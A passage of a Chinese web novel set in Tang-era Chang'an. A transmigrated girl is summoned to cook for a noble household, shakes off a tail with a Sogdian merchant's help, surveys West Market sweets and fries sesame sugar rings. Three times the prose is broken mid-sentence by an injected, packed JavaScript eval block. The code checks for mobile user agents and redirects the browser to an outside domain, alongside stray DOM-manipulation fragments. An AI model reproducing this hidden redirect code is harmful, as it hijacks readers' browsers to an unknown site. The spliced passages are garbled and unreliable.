韦德深深吸了口气,蓝眼睛里满是陶醉。 哈维见状忙上前制止:“少爷,不可无礼!”转而向童白赔笑,“失礼了,我等这就将陶瓮搬走,不打扰贵府。” 童白点头,还没等她说什么,就听见对门陈家传来“吱呀”一声门响。童白敏锐转头,恰捕捉到一个迅速缩回的脑袋和匆匆合上的门缝。 就在西明和哈维合力将陶瓮抬上独轮车时,巷口忽然传来一阵喧哗,伴随着几声清脆的马蹄声。 这在这平民聚居的双梧巷中极不寻常。 还没等童家人走出院外查看,童白听到一道熟悉的声音,“这童寄家的就住在这儿?”中间一段空白,然后,又道:“行吧,你在前领路。” 与此同时,对门陈家的院门,又悄悄打开了一条缝。 白氏手中的布包险些落地,方才因胡商赞誉而泛起的一丝血色瞬间从脸上褪尽。她下意识将怀中的四郎搂得更紧,指尖微微发颤。 童白上前几步,扶住白氏的手臂,感觉到她在微微发抖。她的心也砰砰砰地跳着,却强自镇定地望向院门方向。 这道声音的主人,是崔府二管事崔荣,也是崔夫人身边的得力管事。曾在童寄是部曲时来过家中两回,态度倨傲,从不用正眼看人。 哈维敏锐地察觉到气氛变化,眼中精光一闪,迅速示意西明将陶瓮安置妥当,自己则上前一步,看似随意地挡在童家母女与院门之间。 既是保护,也是观察。韦德虽不明所以,却也安静下来,一双蓝眼睛好奇地往院门处看去。 双梧巷中行来四人,走在最前方领路的,是名身着褐色圆领短褐的小厮,而他身后则是一名四十上下,面白微须,身着靛蓝圆领锻袍的崔府二管事崔荣。二管事身后跟着两名崔府家丁,步伐整齐,以二管事唯首是瞻。 “陈旺,你确定这童家就在这里?”路过胡商租赁的谢宅时,有那胡商汉子站在靠近院门的位置给骆驼刷洗毛发,而地上赫然是那骆驼的排泄物,惹得崔荣掩鼻皱眉不悦道。 陈旺微躬着身,微抬音量回道:“是的,童校尉家就在最东头,管事还请跟奴来。”他临时被二管事叫着来这童家,并不知二管事为何而来,但想着张勇张爷昨晚说的事,他下意识觉得此行非善,只希望他这声音能引起童家人的注意,别被弄个措手不及。 可他并不知,童家人内心的惶恐和惊慌根本没少一分。 等到一行四人走到童家院门前,崔荣目光扫过院内,目光扫过院内,在胡商身上顿了顿,眉头微蹙。 白氏深吸一口气,轻轻推开童白的手,上前行礼,“不知崔管事大驾光临,有失远迎。” 崔荣的视线越过白氏,落在童白身上,又扫了一眼灶屋方向,最后落在独轮车上绑着的陶瓮上,鼻翼微不可察地动了动。 虽然陶瓮这会儿盖着盖,但院中仍有未散尽的香气。 崔荣很想问这香味是什么,但他知道此刻并不是询问这个的时机。 “某这趟是奉夫人之命,”崔荣语气平淡,却带着不容置疑的威严,“三日后乃夫人身边的文奶娘的生辰,夫人心善,想要置办一桌酒席,听说你家小娘子擅庖厨,让我上门通知一声。”视线又在垂首站在一旁的童白身上掠过,“一日后,我会安排人来接小娘子进府中准备。” 白氏抱住四郎的手不由握紧成拳,指节微微发白。 那文奶娘是玉娘的姨母,深受夫人看重,当初也没少给她穿小鞋。有之前的渊源在,女儿这趟若是进了崔府,怕是…… 童白站在一旁状似恭敬,实则内心翻江倒海。 她很想拒绝,但,却不敢说出来。 “谨遵夫人吩咐。”白氏垂首应道,声音微颤,“不知夫人可还有别的嘱咐?” 崔荣瞥她一眼,漫不经心道:“夫人只说希望童小娘子尽心而为,莫要因出了府,便生出怠慢的心思……”他顿了顿,声音压低几分,“毕竟,童小娘子的手艺可是得了十九爷的认可。” 童白心中一动。 就在这时,对门陈家传来一声轻微的响动,似是瓦片落地之声。崔荣敏锐地转头望去,却只见陈家院门紧闭,并无异样。 “那户是?”崔荣随口问道。 “是对门陈姓人家。”白氏恭声回答,不敢多言。 崔荣点点头,不再多问,转而看向哈维等 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崔荣交代完毕,不再多留,转身欲走。临行前,他似乎想起什么,回头对白氏道:“对了,张勇军士托我带话,说他明日未时初刻在延寿坊东侧门当值。” 白氏忙应下。童白却心中一动——张勇特意让崔荣带话,定是有事要告知他们,且不愿让旁人知晓。否则何不亲自前来? 送走崔荣一行人,院中气氛顿时松快许多。 哈维指挥西明将陶瓮安置在独轮车上,笑道,“没想到只是取食物,反而遇到崔府管事,倒是意外之喜,还得多谢贵府。”指了指白氏手中的布包,“这些碎布头子便给了娘子,娘子挑选好后,告诉我便是。” 布匹珍贵,哪怕只是碎布头子,却也难得,原本他是要收回的,但这家竟然认识贵人,他便做了顺水人情。 “就是不知适才那位崔管事是哪一坊的?”哈维知道,长安城内山东士族崔氏有好几支。 白氏僵着唇,轻声道:“延寿坊的。” 哈维记下来,准备一会儿去西市时,打听一下。 韦德早已等不及,凑到陶瓮前深深吸气,一副馋涎欲滴的模样。童白见状,取来一只小碗,盛了些许鸡肉萝卜递给他:“可以先尝尝味罢。” 韦德接过,也顾不得烫,迫不及待地送入口中,顿时眼睛一亮,含混不清地赞道:“好、好吃!” 哈维无奈摇头,向童白歉然道:“让小娘子见笑了。”说着,从腰间解下一个小皮囊,“这是小小谢礼,乃西域特有的甜枣泥,或许能让小娘子制作出好吃的美味。”他可没忘记适才那位贵人家的管事说,要请这位小娘子去府上制作宴席。 童白心中一动,接过皮囊:“多谢哈维先生。” 送走胡商一行人后,童白闩上院门,回头见白氏仍立在原地,面色凝重。 “阿娘?”童白轻声唤道。 白氏回过神,苦笑一下:“你也知那文奶娘的身份……此趟是祸多于福。” 童白见她眼中的担忧不似作假,轻叹一声:“咱没法拒绝,所以哪怕是刀山火海,我也得去。”说完又话音一转,“或许,没有想的那么糟。” 她望向院门,想着适才崔管事在时,那边的动静,“更何况,”声音压得极低,“我们本就在祸中了,不是吗?” 是了,她们家这到底是招惹到了谁! “明日我去见张勇军士。”童白坚定道,“或许他能知道些什么。” 此时此刻,对门陈家院内,陈大河正贴着门缝,注视着童家紧闭的院门,见暂无动静,他快步进到主屋,低声禀报:“大哥,崔府来了人,说是要请那童家小娘子两日后进府做席,那些胡人也推着一瓮吃食走了。” 暗处传来一声轻哼:“做席?”声音顿了顿,又道,“可听清他们说是什么席?”权贵人家可跟普通人不一样,哪怕是前朝乱世都不妨碍他们做席。 “隔得远,听不真切。只隐约听到‘夫人’、‘生辰宴’等词。那管事还提到了西市曹掌柜,似乎与那些胡商相识。” 暗处的人沉默片刻,“这几日你给我盯紧点,童家若有人出去,务必跟上,看他们去见何人。” “是。”一双眼睛闪着冷光。 “崔府,童家……”暗处的人低声自语,心中有了决断。 42. 再次被跟踪 心中有了应对的想法,童白也没那么慌了。抬头望了望天,太阳高高悬在蓝蓝的天上,一丝云朵都没瞧见,视线移到院中竖立着的竹竿及地上的阴影。 嗯,离西市开市尚有一个时辰,童白深吸一口清冷的空气,深知此刻最忌胡思乱想,空耗心神。她需要做点什么,让身体动起来,才能压住心底那丝慌乱。 她目光扫过院落,最终定格在西南角那块。她走进杂房取出锄头,双手紧握木柄,铆足了劲,一锄头狠狠凿了下去! “哐!”一声闷响,锄刃只啃下一小块冻土,反震的力道却让她虎口发麻。 而这土地的顽固,恰似童家眼下困境,冰封坚硬,难以撬动。 童白咬紧牙关,不顾发麻的手,再次挥起锄头。仿佛每一下凿击,都是在对抗那无形的厄运。 二郎见状,牵着三娘来到这边,转头看了眼蹙着眉、沉浸在思绪里的阿娘,小大人地叹了口气,才问道:“阿姊,要我帮忙吗?” 童白喘着气直起身,抹了把额角的薄汗,摇头道:“地还冻着,翻不动。等开春再说吧。”她望着那片板结的土地,心中莫名涌起一股无力。 就好像现状一般,看似有了转机,却仍被无形的寒冰冻裹着,寸步难行。 这时,白氏抱着四郎踱步过来,眉间蹙痕深重,声音发颤:“要不……阿娘舍了这张脸,去一趟崔府,求求老夫人?当年她还算喜欢我的绣活,看在往日情分上,或许、或许能替你说句话……” 童白抬眸,看向白氏那双盛满惊惶与希冀的眼,缓缓道:“阿娘,您打算找谁引荐?”崔家的老夫人,可不是随便就能见到的。 “找,找绣房的管事……”白氏讷讷道。 “可绣房嬷嬷为何还要帮我们?”童白直戳重点,“阿娘,您的心意我明白。可您想想,咱们如今以什么身份求见老夫人?绣房的管事嬷嬷又凭什么要替一个离府多年的旧人,去得罪夫人身边的红人?” 白氏脱籍出府,早已不是绣房的绣娘。再说,原主记忆里,白氏脱籍出府后便没有跟崔府任何人有往来。 临时抱佛脚真不适用当下这情况。 白氏闻言,眼神瞬间黯淡下去,手指无意识地死死绞着四郎的襁褓带子,喃喃道:“可我总不能眼睁睁看你进那虎口……文奶娘是玉娘的姨母,她们若存心为难,你一个人在府里怎么应付得来?”话语末尾,已带上了哽咽。 童白心下讶然,这几日她是感受到白氏的改变,但没想到会改变的如此之快。 原来她是真的为自己的安危揪心,也是真的在出谋划策想要帮助自己。 她想了想,语气坚定,“躲不过的。既然点了名要我去,推拒反而更惹疑心。”又顿了顿,低声道,“别忘了,对门还盯着,崔府的人也刚走。我们若病急乱投医,才是真中了计。” 白氏眼圈一红,别过脸去:“我就是怕……这个家再也经不起折腾了……”自家男人那边还不知道是怎么回事,这换了魂的女儿怕是也要遭了事,她现在真不知道该如何了。 童白沉默片刻,轻声道:“一切都等我见了张军士后再说吧。”这话不止说给白氏听,也是说给自己听。 白氏闻言,心里也没别的好办法,只能含泪应下。 二郎和三娘见阿娘和阿姊的摸样,也不知道说些什么,只能乖乖站在一旁。 一时间,哪怕头顶烈日当空,整个童家人却犹如乌云压顶。 院内的压抑气氛几乎让童白喘不过气来,深觉自己急需一点独处的空间理清思绪,“阿娘,我出去走走,顺便看看西市有什么食材。”她撂下话,几乎是逃也似的背起背篓出了门。 二郎瞧见她的背影,想跟着一起,但又看了眼阿娘和三娘,话语卡在了喉间,怎么也没说出口来。 童白走的很慢,反正离西市开市还有不短的时间呢,她哪怕是爬,也能爬过去。 崇贤坊地处长安城城西,属城外坊,坊内大多为平民,大多是泥地。好在这段时日雨水并不算多,地面相对干爽,今日的温度比起前几日高了些,但,隔着鞋底踩在地上依然能感受到冷。 缩了缩冷麻了的脚趾,童白不由想到了这次跟胡商换来的布料,也不知道做了衣裳后还能不能剩下些做鞋。 童家可真是啥啥都缺啊,也不知道自己是做了什么孽,才穿越成了童家人。 一个千疮百孔、前后遭敌的家。 一个又一个的泥沼,等着她去踩,行差踏错,便要陷进去的感觉。 可要她这会儿放弃,随波逐流,她又做不到。且不说自己若做了甩手掌柜,白氏会如何且不说,就说二郎、三娘和四郎会如何呢? 再说,这里不比她生长的那一世,这里是一人犯罪真可能会牵连九族的封建社会。 真不是她想甩手就能甩手的…… 她漫无目的地走着,思绪纷乱,一会儿是崔府深宅,一会儿是对门那双窥伺的眼,完全没留意到身后巷口,一个身影在她出来后不久,便悄然坠在了后面,不远不近地跟着。 “童家小娘子,来这边。” 一声略显突兀的招呼将童白从纷乱的思绪中惊醒。她循声望去,只见头戴白色小帽的哈维正站在大觉寺门前,脸上堆着生意人惯有的热络笑容,朝她挥手。 童白心下诧异,踌躇着是否上前。却见哈维笑容不变,目光似有若无地飞快扫过她身后,随即用宽大的衣袖掩嘴,极轻微地摇了摇头,眼神里透出一丝警示。 童白心头猛地一凛! 电光火石间,她明白了。 有人在跟踪她!而哈维看到了。 她立刻压下险些回头去看的冲动,强迫自己脸上挤出一个自然的微笑,快步朝哈维走去,顺势接话道:“原来是哈维先生,您也来礼佛?” “可不就是,”哈维笑着朝她拱手,“没想到在此遇到小娘子,若是小娘子不嫌弃,可否带某进这大觉寺一逛。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263909|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 若是平常,她肯定会拒绝,但明白了自己处境的现在,她抬眼望向对方,见对方眼中的认真不似说笑,她微微点头。 心里却是想着曾听人说过,前朝混乱,长安城的寺庙为了自保,有不少武僧,若真是有什么情况,她也不是不能呼救。 拎着裙摆,童白率先跨过寺庙门槛。 哈维轻舒一口气,跟在童白身后进了寺庙。 他这会儿本应该还在宅子里吃那美味的鸡汤,但因早就跟人约好见面,便只能匆匆吃了几口就出了门,才到这大觉寺没多久,就瞧见童小娘子的身影。 原本他并没有想打招呼的,但是在瞧见有人尾随在其身后,且那小娘子还一副心不在焉地模样,他根本没想那么多,招了手。 进到大觉寺后,首先映入眼帘的便是一个跟童白差不多高的铜制香炉,香炉中立着不少正在燃烧的香,鼻间闻嗅着这股味儿,童白原本惶惶不安的心似乎也安定不少。 她转身看向身后的哈维,“不知哈维先生之前可来过这大觉寺?”语气平淡,神情放松,完全没有之前的愁眉不展。 哈维惊讶地瞧了眼对面的大雄宝殿,心下感慨难道这里真有能助世人的神明存在,所以这童小娘子才踏进来就心情舒展开来了? 哈维信神,但信的是家乡的神明,对大唐的神明他并不了解,但却不妨碍他对其有着“神话”般的自信。 哈维摇头,“没来过,我们粟特人有自己信奉的神明。”说着,双手合十,闭眼用粟特语低声轻语,他这是为来到大唐后进了别的神明的庙宇而向自家神明祈祷原谅。 趁着对方在忙,童白的视线往哈维身后瞧去,面上平淡,但心提到了嗓子眼,也不知道自己是希望能看到还是不能看到。 不过,视线所及之处,并没有瞧见什么形迹可疑之人,她不死心地又多看了好几眼,还是没有…… “小娘子,你这么明目张胆地打量,岂不是等于直接告诉那人,你已经发现对方了?” 童白视线回到哈维脸上,却见对方依然保持着之前的动作,眼睛紧闭,若不是那胡须微微颤动,她根本没发现对方在说话。 若说是假的,哈维哄她的目的何在?若是真的,她又该如何? 童白被香火安下的心,瞬间又生出股无名之火,言语也微微带上了几分挑衅,“那哈维先生觉得我该如何办?”直视哈维的目光中也带上了几分。 哈维震惊地睁开眼,“童小娘子,”似是没想到自己好心的举动,竟还帮错了似的,双手一摊,“这里是大唐的长安,又不是我们粟特人的地盘,我如何知道。” 童白疑惑的目光在其脸上梭巡半响,“那你让我跟你进来这大觉寺,不就是想要帮我吗?” 哈维是商人,又是异国他乡来的商人,若没有足够的利益和脱身的手段,如何会招手让她过来。 难道只是出于正义之心吗? 童白可不傻,一点儿都不信。 43. 西市甜点市场调研 童白眼睛微眯,正思索是否该转身离去,哈维却已完成了祷告,睁开双眼,朝她微微颔首,声音压得极低:“童小娘子若不介意,可愿带某在这寺中走走?或许能有脱身之机。”他目光似不经意地再次扫过她身后某处。 童白心下凛然,明白这并非客套。她脑中迅速权衡。 哈维是精明的商人,无利不起早,此刻出手,定是看出了什么,或另有所图。但眼下危机四伏,这或许是唯一的转机。 她面上不显,只微微颔首:“……那便有劳先生了。” 二人一前一后,穿行于香烟缭绕的殿宇之间。童白心神不宁,眼角余光不时扫向身后,哈维却步履从容,直至引她至寺院东北角一扇略显隐蔽的木门前。 二人一前一后,看似闲庭信步,穿梭于香烟缭绕的殿宇廊庑之间。 实则,童白心神紧绷,眼角余光如雷达般扫视四周,耳力发挥到极致,捕捉着身后可能存在的细微脚步声。 而哈维却显得从容许多,他时而驻足点评一下殿宇建筑,时而对某尊佛像露出好奇神色,如同一个真正被异国文化吸引的商人。 直至俩人行至寺院东北角一扇略显隐蔽、漆色斑驳的木门前,哈维脚步才微微一滞。 “从此门出,”他声音压得极低,语速略快,“沿巷东行百步,再右转便是北坊大街。此门平日多为寺僧运送杂物所用,香客罕至,午后方落锁,此刻应当无人。” 童白深深看他一眼,此刻无暇多问,只郑重颔首:“多谢先生今日援手之情,童白铭记于心。”这份情,不论初衷为何,她承了。 “小娘子快走吧。”哈维摆摆手,侧身替她略作遮掩。 童白不再犹豫,闪身而出,反手轻轻带上门。门外是一条狭窄僻静的巷弄,堆着些柴垛,寂静无人。她依言疾行,心跳如鼓,直至巷口人声车马声渐沸,融入北坊大街的人流中,方才缓下脚步,回头望去,寺院高墙巍巍,已不见哈维踪影。 她靠在墙边,轻轻吁出一口浊气,握紧背篓系带,定了定神,将方才的惊险与疑虑暂压心底,朝着西市方向行去。 巷口拐角处,哈维与一名刚刚汇合的高鼻深目、做同样胡商打扮的年轻人正望着她远去的背影。 那年轻人低声问道,语气带着不解:“哈维,你为何要帮那唐人家的小娘子?” 哈维目光深远,唇角微扬,习惯性地搓了搓手指,仿佛在掂量货物的价值:“阿北,你看那小姑娘,身着麻衣,面有菜色,却眼神清亮,举止有度。她家灶间传出的香气,能引得韦德少爷那般挑剔的人都愿拿出胡椒交换,更能让延寿坊崔府那样的高门点名要她去做宴席……这岂是寻常民户能做到的?” 他顿了顿,声音更低了些:“我帮的不是她,是跟延寿坊的贵人认识的机会。一点小小的风险,或许能换来意想不到的回报。这长安城的生意经,可不只是在西市里买卖货物。” 年轻人阿北似懂非懂地点点头。 哈维笑了笑,拍拍他的肩:“走吧,那边该等急了。”二人说着话,身影渐没入市集人流之中。 与此同时,双梧巷陈家院内。 一名男子正躬身禀报,语气忐忑:“……跟、跟至大觉寺外,那谢家住着的胡商领队突然出现,与她说了几句话,两人就进寺里去了。寺里人多,一转眼的功夫,就、就跟丢了……” “废物!连个小娘子都盯不住!”堂屋暗处的彪形大汉勃然大怒,一脚踹去,“要你有何用!” 男子被踹得一个趔趄,忍痛低头,眼中却掠过一丝阴鸷与不服。 “滚起来!”大汉低吼,“你给我盯紧对门!那丫头肯定还会回来!若再出纰漏,我必禀报贺爷,叫你吃不了兜着走!”他撂下狠话,烦躁地甩袖出了大堂,很快便传来院门开合的声音。 那男子立在堂屋,脸色铁青,胸口剧烈起伏了几下。忽地,他迁怒般地冲到院中,将一旁正蹲在地上捡柴火、吓得瑟缩的两个孩童狠狠踹倒在地,骂骂咧咧: “两个没用的!看着就晦气!滚去烧火!再磨蹭今天都没饭吃!” 怒骂声飘过院墙,落入邻家正在晾晒衣物的刘氏耳中。她摇了摇头,轻叹一声,继续手中的活计,只当是那家人又发疯。 * 西市开市的鼓声沉沉响起。各色人流如同开闸的洪水般涌入市门。童白跟在人流中缓缓前行,努力适应着这喧嚣震耳的场面。 周遭多是高鼻深目、虬髯卷发的胡商,携带着各式各样充满异域风情的货物——香气浓烈的香料、用皮囊盛装的葡萄酒、流光溢彩的琉璃器皿、色彩斑斓的毛毯织锦,甚至还有笼中困着的蔫头耷脑的狮子和色彩艳丽的鹦鹉。各种气息混杂在一起,人声、驼铃声、讨价还价声鼎沸。 她小心翼翼地避开一个装着狮子的铁笼,那猛兽瘦骨嶙峋,目光却仍存一丝原始的凶性,让她心头一紧,快步走开。 收敛心神,童白不再四处张望,将背篓往身前拢了拢,径直朝着记忆中售卖米面粮油的区域走去。她此行目的明确:一则采买明日做点心的食材,二则——或许更重要——瞧瞧这长安西市中,究竟有哪些售卖类似点心的铺子或摊位,口味如何,价钱几何。 十九爷的甜点,崔府的宴席,乃至将来或许能开起来的小铺面,都需她此刻多看、多问、多学。 至于出门前那如影随形的跟踪和压在心中的乌云,此刻已被她强行压下,挤到了思维的角落。 专注当下,才能找到生机。 童白一路走,一路看,一路记。 西市并无后世那种专营“点心”的店铺,此时的点心概念尚未独立,多依附于各类“饼”、“糕”、“毕罗”、“馎饦”、“馄饨”等食肆摊位。 最常见的胡麻饼(芝麻烧饼)香气扑鼻,甜咸皆有;油滋滋的烤羊肉串摊子围满了人;热气腾腾的馎饦(面片汤)和馄饨摊子是许多人的选择。 她尤其留意那些售卖“糕”和“甜食”的铺子。最终,她在西市东南角瞧见了一家门面相对齐整、招牌上写着“孙氏糕坊”的店铺,柜台里赫然摆着几样眼熟的糕饼,其中最引她注目的便是那色泽诱人的水晶龙凤糕。 她整理了一下微皱的衣裙,深吸一口气,走了进去。店内弥漫着甜腻的蜜糖和枣子香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273707|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 柜台后的伙计原本见有客至,脸上堆起热情的笑,待看清童白身上的粗麻衣和略显疲惫的面色后,那笑容便淡了几分,转为一种审视般的警惕,目光似有若无地跟着她移动。 童白不以为意,这种目光她早已习惯。 她并未靠近柜台,只站在一个既能看清糕点品相又不会引人误会的距离,目光专注地观察那水晶龙凤糕:糯米粉与深色枣泥分层蒸制,凝冻后切块,糯米部分呈现出半透明的质感,上面还点缀着零星果脯,卖相确实不错。 “小娘子,可是要买些糕饼尝尝?”伙计见她只是看,并未有逾越之举,这才开口,语气恢复了生意人的圆滑,“咱孙氏的水晶龙凤糕可是西市一绝!用料扎实,蜜枣香甜,这糯米啊,蒸得是软糯适中,入口即化……” 伙计口若悬河地夸赞着,词儿一套一套的。 童白安静听着,偶尔点头,心里却在快速分析:用料扎实意味着成本高,售价定然不菲;蜜枣香甜,说明甜度主要来自枣和蜜,糖的用量或许反而可控? “请问这水晶糕如何卖?”她出声打断伙计的滔滔不绝。 “这一块,”伙计指了指大小,“二十个大钱。” 果然!童白心下咂舌,这价钱够买近三斤白面了。面上却只淡然道:“那请给我包一块吧。”她需要亲口尝尝这个时代的“高端糕点”究竟是何水准。 伙计有些意外,但利落地用干荷叶包好一块糕递给她。 童白付了钱,接过糕点走出店铺,站在街角人稍少处,小心地打开荷叶包。 她细细观察了一下糕体的结构和色泽,然后才掰下一小块送入口中。 唔……口感确实软糯弹牙,枣泥的香气非常浓郁纯正,没有任何添加剂的味道。但是……甜也是真甜,那种几乎齁嗓子的、纯粹的甜腻,仿佛糖和蜜不要钱般地往里加,吃多了容易发腻。 “难怪卖二十个大钱。”童白低声自语。 这年头,糖和蜜本就是奢侈品,这般用量,成本自然低不了。这孙氏糕糕,走的是“料足价贵”的路子,目标客户显然不是普通百姓。 所以现在的权贵,爱吃的甜点,有一个很大的标准,便是要甜。 这跟后世讲究健康的饮食理念相驳,但却是符合当下长安的情况。 所以自己在设计制作甜点时,除了考虑味道的层次感、创新的搭配外,还需要结合时下唐人的饮食偏好。 接下来,她又逛了几家卖“毕罗”和“甜饼”的摊子,尝了樱桃毕罗和一种裹了糖霜的油炸甜圈(类似糖耳朵),味道大多直白:不是甜就是油,或者又甜又油。 心里大概有了底,她去采购食材,一圈转下来,背篓里多了面粉、黍米、干果,以及那块珍贵的“参照物”水晶糕。 夕阳开始西斜,今日遭遇跟踪之事仍让她心有余悸,童白不敢再多耽搁。背起沉甸甸的背篓,她快步融入人流往东南门走去。 清亮的眼眸中,比来时多了几分沉静的思量和隐约的锐气。前方的路依然迷雾重重,但至少,她对自己即将要面对的美食“战场”,有了更清晰的认知。 44. 胡麻糖环饼 童白回到双梧巷时,日头已西斜,巷中却比平日喧闹几分。 安家商队落脚的原谢宅院门大开,胡商们正忙碌地进出搬运物件,几个坊民或抱或背着包袱从院内出来,脸上洋溢着心满意足的笑容。 这?童白心下凛然,脚步放缓。坊间不是严禁交易?怎地这般明目张胆? 她驻足细看,院中摊开放着好几堆物什,并非簇新的货品,倒像是些用旧了的被褥、颇具异域风情的炊具、以及一些用麻袋仔细打包的行李。 一名高鼻深目的胡商注意到她探究的目光,操着生硬的长安话主动解释道:“不、不卖!是……捎带!帮、同乡捎东西!”他费力地比划着。 一位裹着头巾的粟特老者在旁含笑补充:“这位小娘子,安家商队仁义,常为我们这些流寓长安的粟特人捎来故乡亲人所寄之物,以慰乡愁。”并非售卖。 童白脸上蓦地一热,意识到自己误会了,忙赧然道谢:“原是如此,多谢老丈解惑。”旋即收回视线,匆匆往家走去。心中却不禁感慨,这些胡商背井离乡,竟也自成体系,互帮互助。只是这动静,未免太大了些,让自己不由产生了误会。 才叩响院门,便听内里传来急促脚步声。门开了,白氏红着眼站在那儿,见到是她,明显松了口气,一把将她拉了进去,迅速闩上门。 “你可算回来了……”白氏声音微颤,抱着四郎的手都紧了紧,“这般久,我真怕……”她上下打量着童白,似乎想确认她是否完好无损。 “让阿娘担心了。我没事。”童白放下沉甸甸的背篓,温声安抚,刻意略去了大觉寺的惊魂一刻,“只是去西市多转了转,看看有什么食材可用。”她边说边取出荷叶包,揭开露出红白相间的糕体,“瞧,这是西市孙氏糕坊的水晶龙凤糕,我尝着味好,买回来咱们也尝尝鲜,我也好听听你们的品评。” 白氏见那糕点如此精致,连忙摆手:“这般金贵的点心,我们尝什么?你留着多琢磨才是正理。” 童白却已笑着将糕分作四份。最大的一块递给白氏,二郎和三娘各得一块稍小的,自己则留了最小一角。 “美食需得共享方能知味,”她将糕点塞到各人手中,“阿娘,您见多识广,尝过了才知道贵人们喜好何种口味。二郎、三娘,你们也说说,是甜些好,还是糯些好?” 白氏推辞不过,接过糕点,眼中微泛泪光,小心地掰下一小块,先喂给咿呀伸手的四郎。四郎咂摸着嘴,眼睛顿时弯成月牙,引得众人都笑起来。家中因等待而生的凝重气氛,顿时被这甜香冲淡了不少。 二郎和三娘这才小口品尝起来,三娘惊喜地咂嘴:“好甜!真好吃!” 童白看着家人满足的模样,心中暖意微漾,暂时驱散了阴霾。她一边品,一边细细询问白氏以往在崔府尝过的点心口味,暗暗记下“甜糯”、“枣香”、“油润”等关键词。 与此同时,延寿坊崔府内。 崔荣躬身向崔夫人回话:“夫人,童家已经应下,三日后便会进府为文奶娘生辰宴准备席面。” 崔夫人轻啜一口茶汤,嘴角微扬,眼底却没什么笑意:“甚好。你多盯着些,瞧瞧那丫头到底有多大本事,能让十九另眼相看。” “是。”崔荣应下,又道:“夫人,小的出门前,十九爷身边的张勇军士寻到小的,托小的给童家带个话,告知他明日未时初刻在东侧门当值。”他顿了顿,似是无意地补充:“领路的陈旺,也是张军士安排的。” 崔夫人放下茶盏,发出清脆的磕碰声。“哦?张勇倒是热心。”她语气平淡,听不出喜怒,“罢了,这点小事,你办妥便是。” 崔荣敏锐地察觉夫人不愿多谈,立刻噤声,恭敬退下。 立在崔夫人身后的溪娘这才上前,纤手轻柔地按上主母的肩颈,“夫人昨夜又没歇好?可是在为将军忧心?” 崔夫人合上眼,掩去眸中一丝疲惫与烦躁:“前线战事吃紧,府内府外,又何曾有一刻清净。三日后文奶娘的宴席,你多费心看顾些,莫要出了差池。”她将“差池”二字略略加重。 “是,夫人,奴婢省得。”溪娘低声应道,手下力道恰到好处。 双梧巷童家。 待一家人的情绪被甜糕安抚,童白便窝回灶屋,决心将纷乱思绪投入面团之中,忙碌能让人忘却恐惧和烦恼。 西市一行让她确信,唐人的甜点崇尚极致的甜与油,此乃富足之象征。她须得顺应潮流,再于其中融入巧思。 她决定试做一款胡麻糖环饼。取精细麦粉,加水、老面引子并磕入两个鸡蛋,反复揉揣成光滑面团,覆布醒发。 另取黑胡麻子,于鏊上文火慢焙,待香气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288576|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四溢,倾于案上,以擀面杖细心碾作细粉,拌入浓稠的麦芽糖,调成乌黑油亮的馅料。 面团发好,加入一勺清亮的猪油并剩余整粒胡麻,再次揉透,分剂搓圆,覆布松弛。 取一个剂子擀成长片,将馅料均匀抹开,仔细卷起、捏紧收口,再巧妙地将首尾相接,做成环状。 所有饼胚制成,座上一锅温水,将蒸屉置于其上,借水汽微热促进发酵。等待之余,她将院中晾晒的酱坛、酸瓮移回灶屋——灶间的温暖更利于发酵。 白氏抱着四郎踱步过来,看着女儿忙碌的身影,轻声道:“眼瞅着一天暖似一天,只怕再过些时日,雨水多了,屋里又该滴答了。” 童白手上动作不停,心中却记下一笔:修补屋顶、砌新烤炉,桩桩件件都需钱帛。阿爹带回的饷银虽还有余裕,却是一家人的保命钱,轻易动不得。 好在,卢婶子提及过上巳节可取寺庙摆摊之事,度过眼下的难关后,需好好谋划一番。 饼胚发好,她便起锅烧水,加入少许饴糖,将糖环饼胚滚水焯烫片刻,捞出沥干。 忙完这些,进行到最后一步,入油锅炸。 家中无铁锅,只得用厚陶瓮深炸。 童白凝神屏息,二郎蹲在灶前小心控制火候,直至饼胚在油花中翻滚,变得浑圆饱满、两面金黄,待中间那一圈白边微微泛黄时,迅速捞出。 霸道甜香瞬间弥散,勾得三娘扒在门框上探头探脑。 待稍凉,童白将最大的一个切成四份。炸后的糖环饼外皮微脆,内里绵软,胡麻馅料甜香浓郁,因用了麦芽糖,甜得醇厚而不腻。 “甜,好吃,好香!”三娘鼓着腮帮子说。 二郎细细品味:“外面有点脆,里面软和,馅料一层层的,很香。” 白氏点头:“是贵人们会喜欢的口味,油润香甜。” 童白自己也颔首,这糖环饼风味口感皆属上乘。她心下决定,明日便带此物去见张勇军士。只望这糖环饼能入十九爷的眼…… 正思忖间,院门忽被叩响,声响急促。 童白心弦蓦地绷紧,与白氏交换了一个警惕的眼神,扬声道:“谁啊?” 